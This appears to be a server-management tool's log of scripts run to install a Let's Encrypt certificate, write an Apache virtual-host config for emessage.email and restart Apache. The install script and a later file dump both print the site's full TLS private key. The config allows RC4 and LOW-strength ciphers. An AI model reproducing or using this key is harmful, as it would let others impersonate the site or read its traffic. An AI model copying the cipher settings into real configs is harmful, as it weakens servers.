Jt0x4-yGXoxXATEJmPUgtUCCg_0p7eJe2jRxWkSWb6s.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Jt0x4-yGXoxXATEJmPUgtUCCg_0p7eJe2jRxWkSWb6s


2026-03-24 06:00:06: 

chmod 755 /tmp/pkp740413; /tmp/pkp740413; rm /tmp/pkp740413

2026-03-24 06:00:06: 




2026-03-24 06:00:19: Establishing a connection
2026-03-24 06:00:19: 

PUT: /tmp/pkp595142

#!/bin/bash
mkdir -p "/var/www/hostz_venus/.well-known/acme-challenge/"
cd "/var/www/hostz_venus/.well-known/acme-challenge/"
rm 6BTUlaYkCfENd1W5m5GnOMxaoqYW8zr_tU3OsxAvKi8
rm 1mXosyquH7nAycIDNLHHJobiT11WAqx5sBz3jiUjFjo
rm Jt0x4-yGXoxXATEJmPUgtUCCg_0p7eJe2jRxWkSWb6s


2026-03-24 06:00:20: 

chmod 755 /tmp/pkp595142; /tmp/pkp595142; rm /tmp/pkp595142

2026-03-24 06:00:20: 




2026-03-24 06:00:20: Establishing a connection
2026-03-24 06:00:20: 

PUT: /tmp/pkp508225

#!/bin/bash
temp_file=$(mktemp)
TARGET=d2f885a15ab55cd2a5fd0d3cbe2ab259.crt

cat > $temp_file <<'endmsg'
fd:bf:d7:e7:2f:24:19:c2:94:7e:0a:2f:01:a3:10:63

-----BEGIN CERTIFICATE-----
MIIFHTCCBAWgAwIBAgISBm7owfT65WwVAoBXYItNln9+MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzI0MDUwMTQ4WhcNMjYwNjIyMDUwMTQ3WjAZMRcwFQYDVQQD
Ew5lbWVzc2FnZS5lbWFpbDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AOZExOKYmebtEEnQf746mojmqDeoQaXWBwD5O4vjQjoB6xPQu2Lnm0em+IXfKtUJ
ngsgMuaa0Fn1tLMHFU4dFeqs606cMVsEqwZAl/sYiYIdS30XolOgALsoqlkSbh2u
hAuap8ckOwsJCKgBiyySj8bLhot2tV4Z3UxfZGv6Ptt6nIDqm8hWHmcABmPnKik2
ZBBSPKR22f6R1ERfhxTb0oYUjTcc6n7O1E27k4leC21fk+5c/XdoqakPVoc8nCF6
OF2T8we6WrPUAfazLxcn32pWGfCCue6hI5tNYoV26XEzmW0f7oSy24eoBg1p9uqi
JincGKaoi6ofCqfoHFFTVAsCAwEAAaOCAkMwggI/MA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBSW5sG1
MY3TNuMKtOok6U/dFZ4myDAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQOO9aS
MzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5j
ci5vcmcvMD8GA1UdEQQ4MDaCDmVtZXNzYWdlLmVtYWlsghNtYWlsLmVtZXNzYWdl
LmVtYWlsgg92ZW51cy5ob3N0ei5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYD
VR0fBCgwJjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMjcuY3JsMIIB
DAYKKwYBBAHWeQIEAgSB/QSB+gD4AHYAFoMtq/CpJQ8P8DqlRf/Iv8gj0IdL9gQp
J/jnHzMT9foAAAGdHm3+bwAABAMARzBFAiEAtBMnP86IUlncl3tEC4mpOSVmK0yX
TDcuG1B7vYrLspwCIHg33ocpY2sB0nPyIk9B9dnmq1UVK1xB9YKlHwFv9YIBAH4A
GoudaUpXmMiZoMqIvfSPwLRWYMzDYA0fcfRp/8fRrKMAAAGdHm4CUwAIAAAFAFhU
yboEAwBHMEUCIQCNeve8dI/EsVcIT2V9EUeki8Latz9L6cjB1D1ybT/l6gIgXgAe
80ptkFWOqOucLSNOfkrluy4EoUwL5MlofH1wPNUwDQYJKoZIhvcNAQELBQADggEB
ABnVFzKJTRcm7oaTyzPByFWlFeHXibK5FshRATfhA/uC1K/XH65TI09qhfaQ/kHc
0hUy5/Kjzpp32bu0du+C1VmYJl5rsYU9kKFMgsl1aksCwielwbO2noF4FJ6E1Lv2
adykcLoZtOKBTRmBRykbXZjukI8u2lD9jPLKi5XgBwKdIkXcl1ux2ZfKaeir0gid
2yRAYePUEKWsOaOzlEcFqhCKPuV5K6UDb9LRBZIaaP+X4Z/TLPZLYSiBvcDtUM/E
Yy3GH7vjSYbpUK6h09Qe9kHInSFglgum9mDgqoTic/6WWnr9au1fXhCsHHfGJ69c
OFzpvjlBah7aLguyx+PJug4=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDmRMTimJnm7RBJ
0H++OpqI5qg3qEGl1gcA+TuL40I6AesT0Lti55tHpviF3yrVCZ4LIDLmmtBZ9bSz
BxVOHRXqrOtOnDFbBKsGQJf7GImCHUt9F6JToAC7KKpZEm4droQLmqfHJDsLCQio
AYssko/Gy4aLdrVeGd1MX2Rr+j7bepyA6pvIVh5nAAZj5yopNmQQUjykdtn+kdRE
X4cU29KGFI03HOp+ztRNu5OJXgttX5PuXP13aKmpD1aHPJwhejhdk/MHulqz1AH2
sy8XJ99qVhnwgrnuoSObTWKFdulxM5ltH+6EstuHqAYNafbqoiYp3BimqIuqHwqn
6BxRU1QLAgMBAAECggEAB5IYPqXEw/5kUpqO/W3UBqjXiM9SRTkJs7YxOn96ZHAL
gg3GGdGo92Y3Qo0cgLLKjIdLYe1e6OF2rPIp+Ntk81/D2fd+eevn3l9Bf++ffPTC
NoOQTzTyATVF9uki6Xy2ehX+HfW3fG/lTHZfuu0gpzXdORJqLFHBk5Ei7jF+kpAT
KPpYU943ir/NXUYhGX2QXdLo0jc7uW+XWwyAJ5+dIrVY2wWPqCX4TT0epvh2fvFK
m4VtBA07ZTxyRqrsZ14h+6joQuL1YP9W4XOrXFok+bUSvt0dmepxdXck6tT92dZ2
3TGlwBLioppV3/e0Mfdth8B0lXwraMalyl7t6ZlHpQKBgQD57pTcM6KlK2r3IwlH
LTcQDI4TTGCKDE32cWmDMH6+Ekt8of07Ke95PrMHwRdSyGB5E22he4T2eURw5Q2Y
WFIy4LBr698KSElRYmo0VFbNLWhZAMlnXXrpqrmjbR28THrwLqerUlzOhNdER72f
/aw6WTMxXDRiyZY6z3YHvjcTBQKBgQDr2/kKTIfSUg5Nuf6M+bVr67XHtwKJm8gL
LlTECmkJe8WBN9gRmSM2y/+KklWu9fqbocWCkHGf9INlSxJ64csO9TiClTgDixh0
3clyhNtMKeO7T/Ppc7b8zJDBJ0IIv5ms3F3w2Mvx6W3ixviDWisHlVn8UL6MHRvh
AufuFreXzwKBgGEBrjuNuxo6sOi9a5N5xD5xcQ+ifHH4dqYpvNdTkk350dzNDvnQ
vAcmQ9zFoGTcKz2zQcEErUXxKZRcAxvXZAglV7R7t3VJO1PgS/KFra8zaaXp/UIm
cVeSkT0SVBFK6gihQyjm7eimfNsesUYQ8rEvAASvkhGpxqqK7Xfx53R1AoGBANpf
UlcMwHwkaQXh/SJ9WFHRbP66HOlXiIGBpg3ULagQJq8bCzxP8uCbQ8AC+L4DFMLf
psTaA7m7Y6R3O2b2g1EYDfgpPDFbqYsahZc4FuqPpkAZKJWvA29P335WYLdE3n3D
kl6Z+0nBfHIJErJa25gr2aLZB3MmyFcun5o7AkTVAoGBAKeGSnQmfKzIYt9AnBTE
Mxk6kNAYWdH+wr+3962+zCHvFYC5H/DYD5ZTW+SNlo1C9turRsaGMOrcvpjX2CDO
DeA+IFN4rxcXZUF9Br+KqxBAfG95Ev1URgQcPQQOL7mW0KdLQHidBYZLdd8oUNsJ
rRylQdybB9tw6qv8baBNkEfj
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-24 06:00:20: 

chmod 755 /tmp/pkp508225; /tmp/pkp508225; rm /tmp/pkp508225

2026-03-24 06:00:20: 


dir=/etc/ssl/certs


2026-03-24 06:00:20: 

PUT: /tmp/pkp686183

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hostz_venus_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-24 06:00:20: 

chmod 755 /tmp/pkp686183; /tmp/pkp686183; rm /tmp/pkp686183

2026-03-24 06:00:20: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_venus_org.conf 49

<VirtualHost *:80>
    ServerName	emessage.email
    ServerAlias	venus.hostz.org
    ServerAlias	mail.emessage.email
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_venus
    <Directory /var/www/hostz_venus>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/venus_access.log combined
    ErrorLog	/var/log/apache2/hostz/venus_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	emessage.email
    ServerAlias	venus.hostz.org
    ServerAlias	mail.emessage.email
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d2f885a15ab55cd2a5fd0d3cbe2ab259.crt
    DocumentRoot	/var/www/hostz_venus
    <Directory /var/www/hostz_venus>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_venus/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/venus_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/venus_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-03-24 06:00:20: 

PUT: /tmp/pkp278237

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_venus_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_venus_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	emessage.email
    ServerAlias	venus.hostz.org
    ServerAlias	mail.emessage.email
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_venus
    <Directory /var/www/hostz_venus>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/venus_access.log combined
    ErrorLog	/var/log/apache2/hostz/venus_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	emessage.email
    ServerAlias	venus.hostz.org
    ServerAlias	mail.emessage.email
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d2f885a15ab55cd2a5fd0d3cbe2ab259.crt
    DocumentRoot	/var/www/hostz_venus
    <Directory /var/www/hostz_venus>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_venus/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/venus_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/venus_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hostz_venus_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hostz_venus_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_venus_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_venus_org.conf= 1'
fi


2026-03-24 06:00:20: 

chmod 755 /tmp/pkp278237; /tmp/pkp278237; rm /tmp/pkp278237

2026-03-24 06:00:20: 




2026-03-24 06:00:20: 

PUT: /tmp/pkp755646

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-24 06:00:20: 

chmod 755 /tmp/pkp755646; /tmp/pkp755646; rm /tmp/pkp755646

2026-03-24 06:00:20: 


.


2026-03-24 06:00:20: Establishing a connection
2026-03-24 06:00:20: 

PUT: /tmp/pkp388389

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-24 06:00:20: 

chmod 755 /tmp/pkp388389; /tmp/pkp388389; rm /tmp/pkp388389

2026-03-24 06:00:20: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server venus (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost venus (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:2)
                 alias list.stoughton.link
         port 80 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:2)
                 alias sms.hopeinstoughton.org
         port 80 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:2)
                 alias venus.hostz.org
                 alias mail.emessage.email
*:443                  is a NameVirtualHost
         default server list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
         port 443 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
         port 443 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:23)
                 alias sms.hopeinstoughton.org
         port 443 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:24)
                 alias venus.hostz.org
                 alias mail.emessage.email
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-03-24 06:00:20: 

PUT: /tmp/pkp473643

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hostz_venus_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-24 06:00:20: 

chmod 755 /tmp/pkp473643; /tmp/pkp473643; rm /tmp/pkp473643

2026-03-24 06:00:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_venus_org.conf	1644

<VirtualHost *:80>
    ServerName	emessage.email
    ServerAlias	venus.hostz.org
    ServerAlias	mail.emessage.email
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_venus
    <Directory /var/www/hostz_venus>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/venus_access.log combined
    ErrorLog	/var/log/apache2/hostz/venus_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	emessage.email
    ServerAlias	venus.hostz.org
    ServerAlias	mail.emessage.email
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d2f885a15ab55cd2a5fd0d3cbe2ab259.crt
    DocumentRoot	/var/www/hostz_venus
    <Directory /var/www/hostz_venus>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_venus/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/venus_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/venus_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-03-24 06:00:21: 

PUT: /tmp/pkp786699

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/d2f885a15ab55cd2a5fd0d3cbe2ab259.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-24 06:00:21: 

chmod 755 /tmp/pkp786699; /tmp/pkp786699; rm /tmp/pkp786699

2026-03-24 06:00:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d2f885a15ab55cd2a5fd0d3cbe2ab259.crt	5397
fd:bf:d7:e7:2f:24:19:c2:94:7e:0a:2f:01:a3:10:63

-----BEGIN CERTIFICATE-----
MIIFHTCCBAWgAwIBAgISBm7owfT65WwVAoBXYItNln9+MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzI0MDUwMTQ4WhcNMjYwNjIyMDUwMTQ3WjAZMRcwFQYDVQQD
Ew5lbWVzc2FnZS5lbWFpbDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AOZExOKYmebtEEnQf746mojmqDeoQaXWBwD5O4vjQjoB6xPQu2Lnm0em+IXfKtUJ
ngsgMuaa0Fn1tLMHFU4dFeqs606cMVsEqwZAl/sYiYIdS30XolOgALsoqlkSbh2u
hAuap8ckOwsJCKgBiyySj8bLhot2tV4Z3UxfZGv6Ptt6nIDqm8hWHmcABmPnKik2
ZBBSPKR22f6R1ERfhxTb0oYUjTcc6n7O1E27k4leC21fk+5c/XdoqakPVoc8nCF6
OF2T8we6WrPUAfazLxcn32pWGfCCue6hI5tNYoV26XEzmW0f7oSy24eoBg1p9uqi
JincGKaoi6ofCqfoHFFTVAsCAwEAAaOCAkMwggI/MA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBSW5sG1
MY3TNuMKtOok6U/dFZ4myDAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQOO9aS
MzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5j
ci5vcmcvMD8GA1UdEQQ4MDaCDmVtZXNzYWdlLmVtYWlsghNtYWlsLmVtZXNzYWdl
LmVtYWlsgg92ZW51cy5ob3N0ei5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYD
VR0fBCgwJjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMjcuY3JsMIIB
DAYKKwYBBAHWeQIEAgSB/QSB+gD4AHYAFoMtq/CpJQ8P8DqlRf/Iv8gj0IdL9gQp
J/jnHzMT9foAAAGdHm3+bwAABAMARzBFAiEAtBMnP86IUlncl3tEC4mpOSVmK0yX
TDcuG1B7vYrLspwCIHg33ocpY2sB0nPyIk9B9dnmq1UVK1xB9YKlHwFv9YIBAH4A
GoudaUpXmMiZoMqIvfSPwLRWYMzDYA0fcfRp/8fRrKMAAAGdHm4CUwAIAAAFAFhU
yboEAwBHMEUCIQCNeve8dI/EsVcIT2V9EUeki8Latz9L6cjB1D1ybT/l6gIgXgAe
80ptkFWOqOucLSNOfkrluy4EoUwL5MlofH1wPNUwDQYJKoZIhvcNAQELBQADggEB
ABnVFzKJTRcm7oaTyzPByFWlFeHXibK5FshRATfhA/uC1K/XH65TI09qhfaQ/kHc
0hUy5/Kjzpp32bu0du+C1VmYJl5rsYU9kKFMgsl1aksCwielwbO2noF4FJ6E1Lv2
adykcLoZtOKBTRmBRykbXZjukI8u2lD9jPLKi5XgBwKdIkXcl1ux2ZfKaeir0gid
2yRAYePUEKWsOaOzlEcFqhCKPuV5K6UDb9LRBZIaaP+X4Z/TLPZLYSiBvcDtUM/E
Yy3GH7vjSYbpUK6h09Qe9kHInSFglgum9mDgqoTic/6WWnr9au1fXhCsHHfGJ69c
OFzpvjlBah7aLguyx+PJug4=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDmRMTimJnm7RBJ
0H++OpqI5qg3qEGl1gcA+TuL40I6AesT0Lti55tHpviF3yrVCZ4LIDLmmtBZ9bSz
BxVOHRXqrOtOnDFbBKsGQJf7GImCHUt9F6JToAC7KKpZEm4droQLmqfHJDsLCQio
AYssko/Gy4aLdrVeGd1MX2Rr+j7bepyA6pvIVh5nAAZj5yopNmQQUjykdtn+kdRE
X4cU29KGFI03HOp+ztRNu5OJXgttX5PuXP13aKmpD1aHPJwhejhdk/MHulqz1AH2
sy8XJ99qVhnwgrnuoSObTWKFdulxM5ltH+6EstuHqAYNafbqoiYp3BimqIuqHwqn
6BxRU1QLAgMBAAECggEAB5IYPqXEw/5kUpqO/W3UBqjXiM9SRTkJs7YxOn96ZHAL
gg3GGdGo92Y3Qo0cgLLKjIdLYe1e6OF2rPIp+Ntk81/D2fd+eevn3l9Bf++ffPTC
NoOQTzTyATVF9uki6Xy2ehX+HfW3fG/lTHZfuu0gpzXdORJqLFHBk5Ei7jF+kpAT
KPpYU943ir/NXUYhGX2QXdLo0jc7uW+XWwyAJ5+dIrVY2wWPqCX4TT0epvh2fvFK
m4VtBA07ZTxyRqrsZ14h+6joQuL1YP9W4XOrXFok+bUSvt0dmepxdXck6tT92dZ2
3TGlwBLioppV3/e0Mfdth8B0lXwraMalyl7t6ZlHpQKBgQD57pTcM6KlK2r3IwlH
LTcQDI4TTGCKDE32cWmDMH6+Ekt8of07Ke95PrMHwRdSyGB5E22he4T2eURw5Q2Y
WFIy4LBr698KSElRYmo0VFbNLWhZAMlnXXrpqrmjbR28THrwLqerUlzOhNdER72f
/aw6WTMxXDRiyZY6z3YHvjcTBQKBgQDr2/kKTIfSUg5Nuf6M+bVr67XHtwKJm8gL
LlTECmkJe8WBN9gRmSM2y/+KklWu9fqbocWCkHGf9INlSxJ64csO9TiClTgDixh0
3clyhNtMKeO7T/Ppc7b8zJDBJ0IIv5ms3F3w2Mvx6W3ixviDWisHlVn8UL6MHRvh
